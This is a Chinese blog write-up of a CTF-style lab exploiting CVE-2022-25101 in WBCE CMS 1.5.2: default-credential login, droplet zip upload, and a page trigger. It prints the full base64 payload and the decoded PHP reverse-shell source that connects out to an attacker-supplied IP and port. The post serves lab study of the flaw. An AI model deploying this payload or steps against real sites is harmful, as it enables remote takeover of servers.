春秋云镜CVE-2022-25101

一.信息收集及漏洞利用

打开靶场,显示界面如下

 

 

 尝试访问靶场描述的路径,返回404,于是开始路径爆破,返回如下

 发现有跳转登录页面,访问/admin/start/index.php,出现登录页面,需要用户名和密码,简单猜测一下admin/123456,发现对了,进入系统

 在add-ons中发现CVE中描述的templates,点击后发现有能够上传文件的入口,测试发现只允许上传zip后缀的文件

 测试上传了几个zip文件未果后,信息收集发现有exp:春秋云镜【CVE-2022-25101】WBCE CMS 1.5.2 RCE - 知乎 (zhihu.com)

使用该exp进行反弹shell

 

 服务器开启监听,返回shell,得到flag

 

 虽然上面虽然就两步,但仍然有很多坑。

1.服务器记得开启对应的监听端口,要不然无法返回shell,我使用阿里云ubuntu20.04,可以使用命令 ufw allow 2333,或者登录阿里云平台开启。

2.记得在使用exp脚本,开启监听后按enter

二.exp脚本分析

先看payload:

PAYLOAD = 'UEsDBBQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMAAAAdDE4YmtuZXYucGhwhVVtT9swEP6OxH8wUaQmUqAJ24epUSYh6CY0CbQC2weGIje5UKuJndkOhSH++85OQqqqtBIizr08eZ6783U8nujoy3zJ4enwAF8ODxToVLMK0pJVTHuhH7u/prOby+urxIlOQid2WZ246Wz68256c3vvSHhKWe08xG4tpN70GJvxZYuGL1PF/kESfQ7D2F1JpiGlCW/KMnZBSiHf39QCyjIZNZxWQI5pTFYxYXlMxnPGx2pBjtkodnMKleBJiCeYN494YIVXNDzTTPAUnpnSyhvVGddlWgi5HPn+q1uzPBlMnm9yrDE5jvzXWjKuUbMznc2uZxNyTvlIExPp+DE8oyfy47cuxX+1lrC11EKx51SBViz3/E04o66H62PWIXsxUfwGpQIypP4+m11dXn2fkG+UlZATLUgbyxScEHK7YIrg39+GaSCZqNBDKM8JF0icalqeOIifLXImPWeM56aiamm7qkS2TArzX9TAPWxrYFsYmG5wYR9Ky+BTaMt0ZBPWVHV+4rXxG4JAZZLVWkhVQ5ZQKemLFyZf24NTsxqcwJGOH0SbxhUaT7cYkXItRQZKJeaZWtbtrAQb3wtck6Za3kylEpRoZAZej+B/1GxV0xUnFnRdD+oEWpn+pvMSy8D4o9d+4z58CLBAOwKifQGnHwbYkhvnO9mbJjP8C7wnL8RUAHKC9wykgpa1mRBs5cS2EiWsFqwE1PBqbgeIosXcov/GZmeCc7BXiGiQFeNUQ44wcyS3jN86kEHah0BdobeiuPjIU9pORSdyKNZ7VbDhvKnSbEH5I+SpCQOtkvdClUjU67CCfqEE/S4JzC6xE8B4uv6lLsO3JWmXhz/U9/r8B5lNzy6Qrct43eikMPF97rDHEHp7+oS0iYhQWFJrk9J6cKDWaQ3Sd1O7vbi+u91GbkDYT9CCbKFo5O2kd7qfHg7ALnqnu+kNIHvpvRVZKVRnxiD7NpR50xJtWuxw2SVircNaiPsfENJTcpXG06OVfNTt6W7mnc73hztI6fBAgm4kJ2H8H1BLAQI/ABQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMACQAAAAAAAAAIAAAAAAAAAB0MThia25ldi5waHAKACAAAAAAAAEAGACAuZAFVv7XAYC5kAVW/tcB6Bk8KTf+1wFQSwUGAAAAAAEAAQBeAAAALgMAAAAA'

根据特征知道是base64,也可以根据脚本中导入的包知道是base64。解码发现是zip文件

 

 使用url地址栏可以解析base64,生成zip文件,如下

 

 得到压缩包,打开只有一个t18bknev.php文件,内容如下:

//:t18bknev
//:
set_time_limit(0);$VERSION="1.0";$ip=$_REQUEST["rev_ip"];$port=$_REQUEST["rev_port"];$chunk_size=1400;$write_a=null;$error_a=null;$shell='uname -a; w; id; /bin/sh -i';$daemon=0;$debug=0;if(function_exists('pcntl_fork')){$pid=pcntl_fork();if($pid==-1){printit("ERROR: Can't fork");exit(1);}if($pid){exit(0);}if(posix_setsid()==-1){printit("Error: Can't setsid()");exit(1);}$daemon=1;}else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");}chdir("/");umask(0);$sock=fsockopen($ip,$port,$errno,$errstr,30);if(!$sock){printit("$errstr ($errno)");exit(1);}$descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$process=proc_open($shell,$descriptorspec,$pipes);if(!is_resource($process)){printit("ERROR: Can't spawn shell");exit(1);}stream_set_blocking($pipes[0],0);stream_set_blocking($pipes[1],0);stream_set_blocking($pipes[2],0);stream_set_blocking($sock,0);printit("Successfully opened reverse shell to $ip:$port");while(1){if(feof($sock)){printit("ERROR: Shell connection terminated");break;}if(feof($pipes[1])){printit("ERROR: Shell process terminated");break;}$read_a=array($sock,$pipes[1],$pipes[2]);$num_changed_sockets=stream_select($read_a,$write_a,$error_a,null);if(in_array($sock,$read_a)){if($debug)printit("SOCK READ");$input=fread($sock,$chunk_size);if($debug)printit("SOCK: $input");fwrite($pipes[0],$input);}if(in_array($pipes[1],$read_a)){if($debug)printit("STDOUT READ");$input=fread($pipes[1],$chunk_size);if($debug)printit("STDOUT: $input");fwrite($sock,$input);}if(in_array($pipes[2],$read_a)){if($debug)printit("STDERR READ");$input=fread($pipes[2],$chunk_size);if($debug)printit("STDERR: $input");fwrite($sock,$input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);function printit($string){if(!$daemon){print"$string\n";}}
return 0;

上面文件主要用于实现反弹shell

分析exp脚本发现,在脚本中使用到路径根本没有CVE描述中/templates/install.php,而是/admin/admintools/tool.php中实现上传zip文件

 

 所以这到底怎么回事?CVE收录时描述错误?

exp脚本执行过程如下:

先在Droplets页面中点击Add Droplet,把前面的payload也就是压缩包命名为t18bknev.zip后上传

 

 然后在pages页面中,添加一个page,title命名为t18bknev

 

 然后添加内容为:[[t18bknev]],保存后返回

 

 点击view查看页面

 

 使用hackerbar发送个post包,body为rev_ip=xx.xx.xx.x&rev_port=2333。注意,在发送此post请求包前,先要在服务器开启监听。发送成功post包后,在服务器中可以看到反弹shell,至此整个脚本结束。

 

 那原理是什么呢?添加的t18bknev页面中的内容:[[t18bknev]]代表什么含义?或者就没什么意义,有意义的是创建页面时设置的title=t18bknev刚好和上传压缩包里面的文件名相同?这些问题留之后有空再来看吧,其实只要控制变量多测试几次应该就明白有意义的 是什么了。

 

posted @ 2023-01-22 15:25  nLesxw  阅读(335)  评论(0编辑  收藏  举报